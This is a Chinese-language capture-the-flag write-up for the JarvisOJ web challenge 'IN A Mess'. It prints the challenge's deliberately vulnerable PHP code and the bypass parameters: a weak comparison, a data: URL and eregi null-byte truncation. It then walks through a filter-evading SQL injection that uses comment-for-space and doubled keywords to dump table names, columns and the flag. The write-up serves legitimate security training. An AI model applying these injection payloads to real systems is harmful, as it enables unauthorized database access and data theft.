JarvisOJ WEB IN A Mess

0x01

查看html源码:
JarvisOJ WEB IN A Mess_第1张图片
得到index.phps中的源码:



error_reporting(0);
echo "";

if(!$_GET['id'])
{
	header('Location: index.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'Hahahahahaha';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("flag.txt");
}
else
{
	print "work harder!harder!harder!";
}


?>

分别构造参数id、a、b;
$id==0考察的是弱类型比较,使id=0a即可,但不可以只是一个0,否则!$_GET['id']将为真。
参数a使用data类型的url构造:a=data:,1112 is a nice lab!。(参考data类型的Url格式:把小数据直接嵌入到Url中)
参数b利用eregi函数的%00截断漏洞:b=%0011111
payload:?id=0a&a=data:,1112 is a nice lab!&b=%0011111
得到提示Come ON!!! {/^HT2mCpcvOLf},访问/^HT2mCpcvOLf,提示hi666
且url变成了/^HT2mCpcvOLf/index.php?id=1,继续sql注入。

0x02

尝试id=2,提示:SELECT * FROM content WHERE id=2,说明和id作比较的是一个数字,而不是字符串。

尝试id=1 order by 1,提示you bad boy/girl!,发现空格被过滤了,将空格替换成/**/后,发现/**/也被过滤了,将空格替换为/*1*/,返回hi666;继续尝试,id=1/*1*/order/*1*/by/*1*/4时出现错误,说明一共三列。

尝试id=2/*1*/union/*1*/select/*1*/1,2,database()发现union和select都被替换为空了,双写即可绕过id=2/*1*/uunionnion/*1*/sselectelect/*1*/1,2,database()返回test。
得到表名:

id=2/*1*/uunionnion/*1*/sselectelect/*1*/1,2,group_concat(table_name)/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()

//content

得到列名:

id=2/*1*/uunionnion/*1*/sselectelect/*1*/1,2,group_concat(column_name)/*1*/frfromom/*1*/information_schema.columns/*1*/where/*1*/table_schema=database()

//id,context,title

得到flag:

id=2/*1*/uunionnion/*1*/sselectelect/*1*/1,2,context/*1*/frfromom/*1*/content

//PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

你可能感兴趣的:(CTF)